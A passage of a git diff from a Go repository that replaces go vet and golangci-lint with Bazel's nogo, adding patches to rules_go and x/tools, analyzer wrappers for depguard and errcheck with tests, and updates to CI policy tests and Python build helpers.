"$REPO_ROOT"`, - "GO_TEST_VET_FLAGS=(" + strings.Join(goTestDefaultVetFlags(t), " ") + ")", - `ci_time "go vet (go test's checks)" -- \`, - `go vet -tags gms_pure_go "${GO_TEST_VET_FLAGS[@]}" ./...`, - } - var code []string - for _, line := range strings.Split(readPolicyFile(t, root, "scripts/ci/go-test-vet.sh"), "\n") { - if l := strings.TrimSpace(line); l != "" && !strings.HasPrefix(l, "#") { - code = append(code, l) - } - } - if !reflect.DeepEqual(code, prelude) { - t.Errorf("scripts/ci/go-test-vet.sh code changed:\n%s\nwant:\n%s", strings.Join(code, "\n"), strings.Join(prelude, "\n")) - } // The allowlist's remaining skip entries run in pr-preflight-platforms // (every OS), each named in its go test selector. fallback := pr.job(t, "pr-preflight-platforms").step(t, "Exercise go test's bd build fallback").Run @@ -689,7 +656,7 @@ func TestPRRunsGoTestsBazelSkips(t *testing.T) { // goTestDefaultVetFlags: the vet checks go.mod's Go toolchain gives `go test` // (cmd/go's defaultVetFlags), read from its source, so a Go upgrade that -// changes them fails here until go-test-vet.sh follows. Under Bazel the +// changes them fails here until tools/nogo/analyzers.bzl follows. Under Bazel the // toolchain is the registered SDK (testGo). func goTestDefaultVetFlags(t *testing.T) []string { t.Helper() diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index 0157ad143..bde3778fe 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -1535,7 +1535,7 @@ func TestShardScriptsListOnlyRealTests(t *testing.T) { // otherwise force a full repack and conflict on unrelated shard lines (see // --repack below for the explicit opt-in to that). Run --check here so a // block with missing/stale/duplicate names fails go test ./scripts/... -// (and so scripts-go-checks, which runs on fork PRs) instead of only +// (//scripts:scripts_test under Bazel) instead of only // surfacing as a test silently never running in any shard. The legacy // 15-shard block is deliberately excluded: its header documents that it is // frozen and must not be regenerated (see diff --git a/scripts/prlintmake/prlintmake_test.go b/scripts/prlintmake/prlintmake_test.go index 20298f6a1..4f5101a08 100644 --- a/scripts/prlintmake/prlintmake_test.go +++ b/scripts/prlintmake/prlintmake_test.go @@ -86,18 +86,20 @@ func TestPRLintWrapperDelegatesPolicyToCheckoutGoDriver(t *testing.T) { if run.goArgs != "run -mod=readonly -tags=gms_pure_go ./scripts/pr-lint" { t.Fatalf("go args = %q, want checkout driver invocation", run.goArgs) } + if strings.Contains(run.output, "gofmt ran") { + t.Fatalf("the lint wrapper ran gofmt; //scripts/repochecks:fmt_test owns it:\n%s", run.output) + } for _, want := range []string{ "CGO_ENABLED=1", "BEADS_BUILD_TAGS=gms_pure_go", "GOFLAGS=-mod=readonly -tags=gms_pure_go", - "BD_LINT_NEW_FROM_MERGE_BASE=origin/main", } { if !strings.Contains(run.goEnvironment, want+"\n") { t.Fatalf("driver environment missing %q:\n%s", want, run.goEnvironment) } } - if !strings.Contains(run.output, "==> golangci-lint (native + windows/darwin non-CGO)") || - !strings.Contains(run.output, "<== golangci-lint (native + windows/darwin non-CGO) succeeded") { + if !strings.Contains(run.output, "==> nogo (native + windows/darwin non-cgo)") || + !strings.Contains(run.output, "<== nogo (native + windows/darwin non-cgo) succeeded") { t.Fatalf("aggregate lint timing is not attributable:\n%s", run.output) } } @@ -127,17 +129,16 @@ func runPRLintWrapper(t *testing.T, goBody string) prLintWrapperRun { if err := os.MkdirAll(shimDir, 0o755); err != nil { t.Fatal(err) } - // fmt-check.sh ignores a PATH gofmt (be-gx8), so the gofmt shim goes in - // through GOFMT, as in runFmtCheck. Only the go shim needs to be on PATH. + // gofmt is //scripts/repochecks:fmt_test's, not the lint wrapper's + // (ga-96smfk.41): a gofmt that would fail every file must not be run. gofmt := filepath.Join(testRoot, "gofmt") - writeShellExecutable(t, bash, gofmt, "#!/usr/bin/env bash\nset -euo pipefail\nexit 0\n") + writeShellExecutable(t, bash, gofmt, "#!/usr/bin/env bash\nprintf 'gofmt ran\\n' >&2\nexit 1\n") writeShellExecutable(t, bash, filepath.Join(shimDir, "go"), `#!/usr/bin/env bash set -euo pipefail printf '%s\n' "$*" >"$GO_ARGS_MARKER" printf 'CGO_ENABLED=%s\n' "${CGO_ENABLED-}" >"$GO_ENV_MARKER" printf 'BEADS_BUILD_TAGS=%s\n' "${BEADS_BUILD_TAGS-}" >>"$GO_ENV_MARKER" printf 'GOFLAGS=%s\n' "${GOFLAGS-}" >>"$GO_ENV_MARKER" -printf 'BD_LINT_NEW_FROM_MERGE_BASE=%s\n' "${BD_LINT_NEW_FROM_MERGE_BASE-}" >>"$GO_ENV_MARKER" `+goBody) argsMarker := filepath.Join(testRoot, "go-args") @@ -155,20 +156,19 @@ printf 'BD_LINT_NEW_FROM_MERGE_BASE=%s\n' "${BD_LINT_NEW_FROM_MERGE_BASE-}" >>"$ ) cmd.Dir = sourceRepoRoot() cmd.Env = environment(map[string]string{ - "BASH_ENV": "", - "BASHOPTS": "", - "BD_LINT_NEW_FROM_MERGE_BASE": "origin/main", - "BEADS_BUILD_TAGS": "stale", - "CGO_ENABLED": "", - "ENV": "", - "GOFLAGS": "-mod=readonly", - "GOFMT": shellVisiblePath(gofmt), - "GO_ARGS_MARKER": shellVisiblePath(argsMarker), - "GO_ENV_MARKER": shellVisiblePath(envMarker), - "LANG": "C", - "LC_ALL": "C", - "PATH": path, - "SHELLOPTS": "", + "BASH_ENV": "", + "BASHOPTS": "", + "BEADS_BUILD_TAGS": "stale", + "CGO_ENABLED": "", + "ENV": "", + "GOFLAGS": "-mod=readonly", + "GOFMT": shellVisiblePath(gofmt), + "GO_ARGS_MARKER": shellVisiblePath(argsMarker), + "GO_ENV_MARKER": shellVisiblePath(envMarker), + "LANG": "C", + "LC_ALL": "C", + "PATH": path, + "SHELLOPTS": "", }) output, runErr := cmd.CombinedOutput() args, argsErr := os.ReadFile(argsMarker) diff --git a/third_party/patches/BUILD.bazel b/third_party/patches/BUILD.bazel index f15db188c..086c77351 100644 --- a/third_party/patches/BUILD.bazel +++ b/third_party/patches/BUILD.bazel @@ -11,6 +11,12 @@ # dolt uses, so `--config=pure` (CGO off) can compile store/nbs, which rules_go # builds as a declared dep even though no pure-Go file imports it. Their init # panics, so a pure binary that does link gozstd fails when started. +# +# rules_go_nogo_golangci_nolint.patch and x_tools_ctrlflow_stdlib_noreturn.patch +# are gascity's (third_party/patches there), byte-identical: nogo (//tools/nogo) +# honors //nolint with golangci-lint's ranges, and ctrlflow knows the standard +# library's no-return functions, which nogo has no facts for. Upstreaming is +# tracked in gascity's ga-96smfk.44. package(default_visibility = ["//visibility:public"]) diff --git a/third_party/patches/rules_go_nogo_golangci_nolint.patch b/third_party/patches/rules_go_nogo_golangci_nolint.patch new file mode 100644 index 000000000..829662db9 --- /dev/null +++ b/third_party/patches/rules_go_nogo_golangci_nolint.patch @@ -0,0 +1,100 @@ +diff -ruN a/go/tools/builders/nogo_main.go b/go/tools/builders/nogo_main.go +--- a/go/tools/builders/nogo_main.go 2026-10-06 23:54:04.475812427 +0000 ++++ b/go/tools/builders/nogo_main.go 2026-10-06 23:55:14.974887313 +0000 +@@ -342,6 +342,7 @@ + } + } + } ++ addGolangciNolintRanges(pkg.fset, f, actions) + // CommentMap will correctly associate comments to the largest node group + // applicable. This handles inline comments that might trail a large + // assignment and will apply the comment to the entire assignment. +@@ -358,7 +359,7 @@ + continue + } + for analyzer, act := range actions { +- if linters == nil || linters[analyzer.Name] { ++ if nolintCovers(linters, analyzer.Name) { + act.nolint = append(act.nolint, rng) + } + } +@@ -379,6 +380,79 @@ + to int + } + ++// staticcheckCheck matches the names of honnef.co/go/tools' per-check ++// analyzers (SA1019, S1016, ST1005, QF1001, ...). ++var staticcheckCheck = regexp.MustCompile(`^(SA|S|ST|QF)[0-9]+$`) ++ ++// nolintCovers reports whether a directive naming linters (nil: all) covers ++// the analyzer. As in golangci-lint, `staticcheck` names every staticcheck ++// check. (gascity third_party/patches) ++func nolintCovers(linters map[string]bool, analyzer string) bool { ++ return linters == nil || linters[analyzer] || (linters["staticcheck"] && staticcheckCheck.MatchString(analyzer)) ++} ++ ++// addGolangciNolintRanges adds golangci-lint's nolint ranges for f, which the ++// directives in a tree linted by golangci-lint were written against, beside ++// the CommentMap ranges above: each directive covers its comment group's own ++// lines, extended over any node that starts on the next line at the group's ++// column. Without them a directive trailing `func f(a, b int) {` misses the ++// signature line, because the CommentMap attaches it to the body's first ++// statement. (gascity third_party/patches) ++func addGolangciNolintRanges(fset *token.FileSet, f *ast.File, actions map[*analysis.Analyzer]*action) { ++ type inlineRange struct { ++ from, to, col int ++ linters map[string]bool ++ } ++ var inline []inlineRange ++ for _, group := range f.Comments { ++ for _, comm := range group.List { ++ linters, ok := parseNolint(comm.Text) ++ if !ok { ++ continue ++ } ++ start := fset.Position(group.Pos()) ++ inline = append(inline, inlineRange{ ++ from: start.Line, ++ to: fset.Position(group.End()).Line, ++ col: start.Column, ++ linters: linters, ++ }) ++ } ++ } ++ if len(inline) == 0 { ++ return ++ } ++ filename := fset.Position(f.Pos()).Filename ++ add := func(from, to int, linters map[string]bool) { ++ rng := &Range{from: token.Position{Filename: filename, Line: from}, to: to} ++ for analyzer, act := range actions { ++ if nolintCovers(linters, analyzer.Name) { ++ act.nolint = append(act.nolint, rng) ++ } ++ } ++ } ++ for _, r := range inline { ++ add(r.from, r.to, r.linters) ++ } ++ ast.Inspect(f, func(n ast.Node) bool { ++ if n == nil { ++ return true ++ } ++ start := fset.Position(n.Pos()) ++ for _, r := range inline { ++ if r.to == start.Line-1 && start.Column == r.col { ++ end := fset.Position(n.End()).Line ++ if end < r.to { ++ end = r.to ++ } ++ add(r.from, end, r.linters) ++ break ++ } ++ } ++ return true ++ }) ++} ++ + // factProducers returns the set of analyzers that declare facts among the + // transitive closure of as. + func factProducers(as []*analysis.Analyzer) []*analysis.Analyzer { diff --git a/third_party/patches/x_tools_ctrlflow_stdlib_noreturn.patch b/third_party/patches/x_tools_ctrlflow_stdlib_noreturn.patch new file mode 100644 index 000000000..f4f143446 --- /dev/null +++ b/third_party/patches/x_tools_ctrlflow_stdlib_noreturn.patch @@ -0,0 +1,34 @@ +diff -ruN a/go/analysis/passes/ctrlflow/ctrlflow.go b/go/analysis/passes/ctrlflow/ctrlflow.go +--- a/go/analysis/passes/ctrlflow/ctrlflow.go 2026-10-06 23:27:28.576172198 +0000 ++++ b/go/analysis/passes/ctrlflow/ctrlflow.go 2026-10-06 23:27:28.604645688 +0000 +@@ -222,6 +222,16 @@ + } + + // Not declared in this package. ++ // Known intrinsically? (gascity third_party/patches: Bazel's nogo does ++ // not analyze the standard library, so its no-return functions, listed ++ // in knownIntrinsic, have no facts to import.) ++ if noreturn, known := knownIntrinsic(fn); known { ++ if noreturn { ++ c.noReturn[fn] = true ++ } ++ return !noreturn ++ } ++ + // Is there a fact from another package? + if c.pass.ImportObjectFact(fn, new(noReturn)) { + c.noReturn[fn] = true +@@ -245,6 +255,13 @@ + // Functions known intrinsically never to return. + if typesinternal.IsFunctionNamed(fn, "syscall", "Exit", "ExitProcess", "ExitThread") || + typesinternal.IsFunctionNamed(fn, "runtime", "Goexit", "fatalthrow", "fatalpanic", "exit") || ++ // Standard-library functions that never return. Analysis of the ++ // standard library normally derives these as facts; Bazel's nogo ++ // does not analyze it (gascity third_party/patches). ++ typesinternal.IsFunctionNamed(fn, "os", "Exit") || ++ typesinternal.IsFunctionNamed(fn, "log", "Fatal", "Fatalf", "Fatalln", "Panic", "Panicf", "Panicln") || ++ typesinternal.IsMethodNamed(fn, "log", "Logger", "Fatal", "Fatalf", "Fatalln", "Panic", "Panicf", "Panicln") || ++ typesinternal.IsMethodNamed(fn, "testing", "common", "FailNow", "Fatal", "Fatalf", "SkipNow", "Skip", "Skipf") || + // Following staticcheck (see go/ir/exits.go) we include functions + // in several popular logging packages whose no-return status is + // beyond the analysis to infer. diff --git a/tools/bazel/equivalence.py b/tools/bazel/equivalence.py index f45998fde..40b67c875 100644 --- a/tools/bazel/equivalence.py +++ b/tools/bazel/equivalence.py @@ -43,6 +43,10 @@ does; the default mode keeps the worst. A failure in any target still fails a job comparison (listed per target), and so does a missing test.xml of any target in the job's packages, variant or not. +Packages of nested Go modules (a go.mod below the root: tools/nogo, the nogo +analyzers' own module) are outside `go test ./...`, so their Bazel tests are +neither expected nor reported as extra. + Divergences listed in the allowlist (tools/bazel/equivalence_allowlist.txt) are expected; anything else fails. The allowlist format is one entry per line: @@ -122,6 +126,13 @@ def go_expected(root, go_json_path=None): return expected, dirs +def in_nested_module(root, pkg): + """Whether pkg (a directory relative to root) belongs to a Go module + other than root's: a go.mod at or above it, below root.""" + parts = pkg.split("/") if pkg else [] + return any(os.path.exists(os.path.join(root, *parts[:i], "go.mod")) for i in range(1, len(parts) + 1)) + + def go_test_statuses(path, dirs): """Return {pkg_dir: {test: status}} for top-level tests in `go test -json` output. Packages go list does not know are skipped.""" @@ -333,6 +344,7 @@ def main(argv=None): bep_tested, testlogs, bep_configured, args.job, observed, failures if args.job else None, no_xml if args.job else None) problems += bep_problems + observed = {pkg: seen for pkg, seen in observed.items() if not in_nested_module(root, pkg)} target_pkgs = None if (args.no_query or args.job) else query_go_test_pkgs(root, args.bazel) go_status = go_test_statuses(args.go_test_json, dirs) if args.go_test_json else None if args.job: diff --git a/tools/bazel/go_srcs.py b/tools/bazel/go_srcs.py index 896c129af..e4ca6b6d3 100755 --- a/tools/bazel/go_srcs.py +++ b/tools/bazel/go_srcs.py @@ -38,7 +38,8 @@ scripts/ci/bazel-release-cross-compile.sh builds for every release platform, listing every go_library and go_binary it can see (the packages `go build ./...` compiles; a private library is compiled by the go_binary that embeds it) except the cgo-only ones a pure build cannot link (tagged "cgo-only" and -incompatible with //tools/bazel:pure) and testonly fixtures. The script checks +incompatible with //tools/bazel:pure), testonly fixtures, and the packages of +nested Go modules (tools/nogo), which `go build ./...` skips. The script checks against `bazel query` before it builds that every Bazel package holding Go targets is reached, so a package this parser misses fails CI instead of going uncompiled. @@ -230,10 +231,21 @@ def repo_files_block(pkg: str, packages: list[str]) -> str: return "\n".join(lines) + "\n" +def in_nested_module(pkg: str) -> bool: + """Whether pkg belongs to a Go module other than the root one (its own + go.mod at or above it, below the root), which `go build ./...` skips.""" + parts = [] if pkg == "." else pkg.split("/") + return any(os.path.exists(os.path.join(*parts[:i], "go.mod")) for i in range(1, len(parts) + 1)) + + def go_targets(packages: list[str]) -> list[str]: """Every go_library and go_binary that a pure build can compile.""" labels = [] for pkg in packages: + # tools/nogo (the nogo analyzers' own module) is not part of + # `go build ./...` or of any release. + if in_nested_module(pkg): + continue with open(os.path.join(pkg, "BUILD.bazel")) as f: src = f.read() for kind, name, body in GO_RULE_RE.findall(src): diff --git a/tools/nogo/BUILD.bazel b/tools/nogo/BUILD.bazel new file mode 100644 index 000000000..1e44a0bca --- /dev/null +++ b/tools/nogo/BUILD.bazel @@ -0,0 +1,66 @@ +load("@rules_go//go:def.bzl", "go_test", "nogo") +load(":analyzers.bzl", "NOGO_ANALYZERS") + +# gazelle:prefix github.com/steveyegge/beads/tools/nogo + +# nogo: lint and vet as part of every Go compile. MODULE.bazel registers this +# target with go_sdk.nogo, so `bazel build //...` (locally or on RBE) fails on +# any finding. Replaces `go vet` (go test's checks) and golangci-lint; gofmt +# stays with //scripts/repochecks:fmt_test. +nogo( + name = "nogo", + config = "config.json", + visibility = ["//visibility:public"], + deps = NOGO_ANALYZERS, +) + +go_test( + name = "nogo_test", + srcs = [ + "analyzers_test.go", + "modules_test.go", + ], + data = [ + "analyzers.bzl", + "config.json", + "go.mod", + "//:.golangci.yml", + "//:go.mod", + ], # keep + deps = [ + "//tools/nogo/analyzers/depguard", + "//tools/nogo/analyzers/errcheck", + "//tools/nogo/analyzers/forbidigo", + "//tools/nogo/analyzers/gosec", + "//tools/nogo/analyzers/misspell", + "//tools/nogo/analyzers/sloglint", + "//tools/nogo/analyzers/unconvert", + "//tools/nogo/analyzers/unparam", + "//tools/nogo/internal/golangci", + "@org_golang_x_mod//modfile", + "@org_golang_x_mod//semver", + "@org_golang_x_tools//go/analysis", + ], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tools/nogo/analyzers.bzl b/tools/nogo/analyzers.bzl new file mode 100644 index 000000000..00a351e56 --- /dev/null +++ b/tools/nogo/analyzers.bzl @@ -0,0 +1,47 @@ +"""The nogo analyzer set: what `go vet` and golangci-lint checked, as go/analysis passes. + +This is the single list of analyzers `//tools/nogo` runs on every Go compile: + + - VET_PASSES: the vet checks `go test` runs (cmd/go's defaultVetFlags), which + pr.yml ran over ./... as `go vet` (scripts/ci/go-test-vet.sh) because + rules_go's go_test runs none. scripts/pr_lanes_bazel_coverage_test.go keeps + the list equal to the Go toolchain's. They see every file, tests included, + as `go vet ./...` did. + - GOLANGCI_LINTERS: the linters .golangci.yml enables, each wrapped by + //tools/nogo/internal/golangci so that .golangci.yml's settings, + run.tests, generated-file handling and exclusion rules apply as they did + under golangci-lint. //tools/nogo:nogo_test keeps the list equal to + .golangci.yml's linters.enable. +""" + +# cmd/go's defaultVetFlags (Go 1.26), as analyzer names (-bool is "bools", +# -buildtags "buildtag"). +VET_PASSES = [ + "atomic", + "bools", + "buildtag", + "directive", + "errorsas", + "ifaceassert", + "nilfunc", + "printf", + "slog", + "stringintconv", + "tests", +] + +GOLANGCI_LINTERS = [ + "depguard", + "errcheck", + "forbidigo", + "gosec", + "misspell", + "sloglint", + "unconvert", + "unparam", +] + +NOGO_ANALYZERS = ["@org_golang_x_tools//go/analysis/passes/" + p for p in VET_PASSES] + [ + "//tools/nogo/analyzers/" + linter + for linter in GOLANGCI_LINTERS +] diff --git a/tools/nogo/analyzers/depguard/BUILD.bazel b/tools/nogo/analyzers/depguard/BUILD.bazel new file mode 100644 index 000000000..8dda85443 --- /dev/null +++ b/tools/nogo/analyzers/depguard/BUILD.bazel @@ -0,0 +1,44 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "depguard", + srcs = ["depguard.go"], + importpath = "github.com/steveyegge/beads/tools/nogo/analyzers/depguard", + visibility = ["//visibility:public"], + deps = [ + "//tools/nogo/internal/golangci", + "@com_github_openpeedeep_depguard_v2//:depguard", + "@org_golang_x_tools//go/analysis", + ], +) + +go_test( + name = "depguard_test", + srcs = ["depguard_test.go"], + deps = [ + ":depguard", + "//tools/nogo/internal/analyzertest", + ], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tools/nogo/analyzers/depguard/depguard.go b/tools/nogo/analyzers/depguard/depguard.go new file mode 100644 index 000000000..1a6e12ec4 --- /dev/null +++ b/tools/nogo/analyzers/depguard/depguard.go @@ -0,0 +1,110 @@ +// Package depguard runs github.com/OpenPeeDeeP/depguard/v2 with the rules in +// .golangci.yml's linters.settings.depguard, as golangci-lint does. +package depguard + +import ( + "go/token" + "strings" + + "github.com/OpenPeeDeeP/depguard/v2" + "golang.org/x/tools/go/analysis" + + "github.com/steveyegge/beads/tools/nogo/internal/golangci" +) + +// Analyzer reports imports the configured depguard rules deny. +var Analyzer = golangci.Wrap("depguard", &analysis.Analyzer{ + Name: "depguard", + Doc: "checks package imports against the depguard rules in .golangci.yml", + Run: run, +}) + +const goStd = "$gostd" + +func run(pass *analysis.Pass) (any, error) { + cfg, err := golangci.Load() + if err != nil { + return nil, err + } + std := stdPrefixes(pass) + settings := depguard.LinterSettings{} + for name, rule := range cfg.Linters.Settings.Depguard.Rules { + deny := map[string]string{} + for _, d := range rule.Deny { + if d.Pkg == goStd { + for _, p := range std { + deny[p] = d.Desc + } + continue + } + deny[d.Pkg] = d.Desc + } + settings[name] = &depguard.List{ + ListMode: rule.ListMode, + Files: rule.Files, + Allow: expandGoStd(rule.Allow, std), + Deny: deny, + } + } + a, err := depguard.NewAnalyzer(&settings) + if err != nil { + return nil, err + } + rooted := *pass + rooted.Fset = Rooted(pass.Fset) + return a.Run(&rooted) +} + +// stdPrefixes stands in for depguard's $gostd, which lists $GOROOT/src's +// top-level directories (a nogo action has no GOROOT source tree). It returns +// the first path element of every standard-library import in the pass, by +// cmd/go's own rule: a standard import path has no dot in its first element. +// "C" (cgo) is not a GOROOT directory. "unsafe" keeps an allow list non-empty +// for a package with no standard imports; it is a GOROOT directory too. +func stdPrefixes(pass *analysis.Pass) []string { + seen := map[string]bool{"unsafe": true} + out := []string{"unsafe"} + for _, f := range pass.Files { + for _, imp := range f.Imports { + path := strings.Trim(imp.Path.Value, "\"`") + first, _, _ := strings.Cut(path, "/") + if first == "C" || strings.Contains(first, ".") || seen[first] { + continue + } + seen[first] = true + out = append(out, first) + } + } + return out +} + +func expandGoStd(list, std []string) []string { + var out []string + for _, p := range list { + if p == goStd { + out = append(out, std...) + continue + } + out = append(out, p) + } + return out +} + +// Rooted returns a copy of fset whose file names are rooted at "/": the +// absolute paths golangci-lint hands depguard, so that a files pattern such +// as "**/internal/storage/**" or "$all" ("**/*.go") also matches a file at +// the repository root, where nogo's execroot-relative name has no leading +// directory. Every token.Pos keeps its meaning. +func Rooted(fset *token.FileSet) *token.FileSet { + out := token.NewFileSet() + fset.Iterate(func(f *token.File) bool { + name := f.Name() + if !strings.HasPrefix(name, "/") { + name = "/" + name + } + nf := out.AddFile(name, f.Base(), f.Size()) + nf.SetLines(f.Lines()) + return true + }) + return out +} diff --git a/tools/nogo/analyzers/depguard/depguard_test.go b/tools/nogo/analyzers/depguard/depguard_test.go new file mode 100644 index 000000000..3b960da47 --- /dev/null +++ b/tools/nogo/analyzers/depguard/depguard_test.go @@ -0,0 +1,48 @@ +package depguard_test + +import ( + "strings" + "testing" + + "github.com/steveyegge/beads/tools/nogo/analyzers/depguard" + "github.com/steveyegge/beads/tools/nogo/internal/analyzertest" +) + +// The rules come from the repository's .golangci.yml. + +func TestFilesGlobsMatchRepositoryRelativeNames(t *testing.T) { + got := analyzertest.RunInRepo(t, depguard.Analyzer, "internal/workapi", map[string]string{ + "w.go": "package workapi\n\nimport _ \"github.com/spf13/cobra\"\n", + }) + if len(got) != 1 || !strings.HasPrefix(got[0].Message, "import 'github.com/spf13/cobra' is not allowed from list 'workapi-frontend-boundary'") { + t.Fatalf("diagnostics = %+v, want the workapi-frontend-boundary denial", got) + } +} + +// "$all" is "**/*.go": golangci-lint hands depguard absolute paths, so it +// covers files at the repository root too. +func TestAllCoversTheRepositoryRoot(t *testing.T) { + got := analyzertest.RunInRepo(t, depguard.Analyzer, "", map[string]string{ + "root.go": "package beads\n\nimport _ \"github.com/dolthub/dolt/go/libraries/doltcore/doltdb\"\n", + }) + if len(got) != 1 || !strings.Contains(got[0].Message, "'dolt-storage-boundary'") { + t.Fatalf("diagnostics = %+v, want the dolt-storage-boundary denial", got) + } +} + +func TestNegatedFilesAreExempt(t *testing.T) { + got := analyzertest.RunInRepo(t, depguard.Analyzer, "internal/storage/x", map[string]string{ + "x.go": "package x\n\nimport _ \"github.com/dolthub/dolt/go/libraries/doltcore/doltdb\"\n", + }) + analyzertest.Equal(t, got, nil) +} + +// beadserrors' strict rule allows only $gostd. +func TestGoStdAllowList(t *testing.T) { + got := analyzertest.RunInRepo(t, depguard.Analyzer, "beadserrors", map[string]string{ + "e.go": "package beadserrors\n\nimport (\n\t_ \"errors\"\n\t_ \"net/http\"\n\t_ \"github.com/steveyegge/beads/internal/types\"\n)\n", + }) + if len(got) != 1 || !strings.HasPrefix(got[0].Message, "import 'github.com/steveyegge/beads/internal/types' is not allowed from list 'beadserrors-leaf'") { + t.Fatalf("diagnostics = %+v, want only the internal/types denial", got) + } +} diff --git a/tools/nogo/analyzers/errcheck/BUILD.bazel b/tools/nogo/analyzers/errcheck/BUILD.bazel new file mode 100644 index 000000000..2d1eaa1b2 --- /dev/null +++ b/tools/nogo/analyzers/errcheck/BUILD.bazel @@ -0,0 +1,46 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "errcheck", + srcs = ["errcheck.go"], + importpath = "github.com/steveyegge/beads/tools/nogo/analyzers/errcheck", + visibility = ["//visibility:public"], + deps = [ + "//tools/nogo/internal/golangci", + "//tools/nogo/internal/position", + "@com_github_kisielk_errcheck//errcheck", + "@org_golang_x_tools//go/analysis", + "@org_golang_x_tools//go/packages", + ], +) + +go_test( + name = "errcheck_test", + srcs = ["errcheck_test.go"], + deps = [ + ":errcheck", + "//tools/nogo/internal/analyzertest", + ], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tools/nogo/analyzers/errcheck/errcheck.go b/tools/nogo/analyzers/errcheck/errcheck.go new file mode 100644 index 000000000..4b6e5ebe7 --- /dev/null +++ b/tools/nogo/analyzers/errcheck/errcheck.go @@ -0,0 +1,75 @@ +// Package errcheck runs github.com/kisielk/errcheck as golangci-lint's errcheck +// linter does, with .golangci.yml's linters.settings.errcheck. +package errcheck + +import ( + "cmp" + "fmt" + "regexp" + "strings" + + "github.com/kisielk/errcheck/errcheck" + "golang.org/x/tools/go/analysis" + "golang.org/x/tools/go/packages" + + "github.com/steveyegge/beads/tools/nogo/internal/golangci" + "github.com/steveyegge/beads/tools/nogo/internal/position" +) + +// Analyzer reports unchecked errors. +var Analyzer = golangci.Wrap("errcheck", &analysis.Analyzer{ + Name: "errcheck", + Doc: "reports unchecked errors", + Run: run, +}) + +func run(pass *analysis.Pass) (any, error) { + cfg, err := golangci.Load() + if err != nil { + return nil, err + } + settings := cfg.Linters.Settings.Errcheck + checker := errcheck.Checker{ + Exclusions: errcheck.Exclusions{ + BlankAssignments: !settings.CheckAssignToBlank, + TypeAssertions: !settings.CheckTypeAssertions, + SymbolRegexpsByPackage: map[string]*regexp.Regexp{}, + }, + } + if !settings.DisableDefaultExclusions { + checker.Exclusions.Symbols = append(checker.Exclusions.Symbols, errcheck.DefaultExcludedSymbols...) + } + checker.Exclusions.Symbols = append(checker.Exclusions.Symbols, settings.ExcludeFunctions...) + + pkg := &packages.Package{ + Fset: pass.Fset, + Syntax: pass.Files, + Types: pass.Pkg, + TypesInfo: pass.TypesInfo, + } + idx := position.NewIndex(pass) + for _, u := range checker.CheckPackage(pkg).Unique().UncheckedErrors { + pos, ok := idx.Pos(u.Pos) + if !ok { + continue + } + pass.Report(analysis.Diagnostic{Pos: pos, Message: Message(u, settings.Verbose)}) + } + return nil, nil +} + +// Message is golangci-lint's text for an unchecked error, which +// .golangci.yml's exclusion rules match against. +func Message(u errcheck.UncheckedError, verbose bool) string { + if u.FuncName == "" { + return "Error return value is not checked" + } + code := cmp.Or(u.SelectorName, u.FuncName) + if verbose { + code = u.FuncName + } + if !strings.Contains(code, "`") { + code = "`" + code + "`" + } + return fmt.Sprintf("Error return value of %s is not checked", code) +} diff --git a/tools/nogo/analyzers/errcheck/errcheck_test.go b/tools/nogo/analyzers/errcheck/errcheck_test.go new file mode 100644 index 000000000..33c68fb81 --- /dev/null +++ b/tools/nogo/analyzers/errcheck/errcheck_test.go @@ -0,0 +1,35 @@ +package errcheck_test + +import ( + "testing" + + "github.com/steveyegge/beads/tools/nogo/analyzers/errcheck" + "github.com/steveyegge/beads/tools/nogo/internal/analyzertest" +) + +// The expected messages are golangci-lint v2.10.1's for the same package. +func TestReportsUncheckedErrorsAsGolangciLintDoes(t *testing.T) { + got := analyzertest.RunInRepo(t, errcheck.Analyzer, "p", map[string]string{ + "p.go": `package p + +type closer struct{} + +func (closer) Close() error { return nil } + +func f() error { return nil } + +func g() { + f() + _ = f() + closer{}.Close() + if err := f(); err != nil { + return + } +} +`, + }) + analyzertest.Equal(t, got, []analyzertest.Diagnostic{ + {File: "p.go", Line: 10, Message: "Error return value is not checked"}, + {File: "p.go", Line: 12, Message: "Error return value of `(example.com/repo/p.closer).Close` is not checked"}, + }) +} diff --git a/tools/nogo/analyzers/forbidigo/BUILD.bazel b/tools/nogo/analyzers/forbidigo/BUILD.bazel new file mode 100644 index 000000000..ae87048b5 --- /dev/null +++ b/tools/nogo/analyzers/forbidigo/BUILD.bazel @@ -0,0 +1,45 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "forbidigo", + srcs = ["forbidigo.go"], + importpath = "github.com/steveyegge/beads/tools/nogo/analyzers/forbidigo", + visibility = ["//visibility:public"], + deps = [ + "//tools/nogo/internal/golangci", + "@com_github_ashanbrown_forbidigo_v2//forbidigo", + "@in_gopkg_yaml_v3//:yaml_v3", + "@org_golang_x_tools//go/analysis", + ], +) + +go_test( + name = "forbidigo_test", + srcs = ["forbidigo_test.go"], + deps = [ + ":forbidigo", + "//tools/nogo/internal/analyzertest", + ], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + 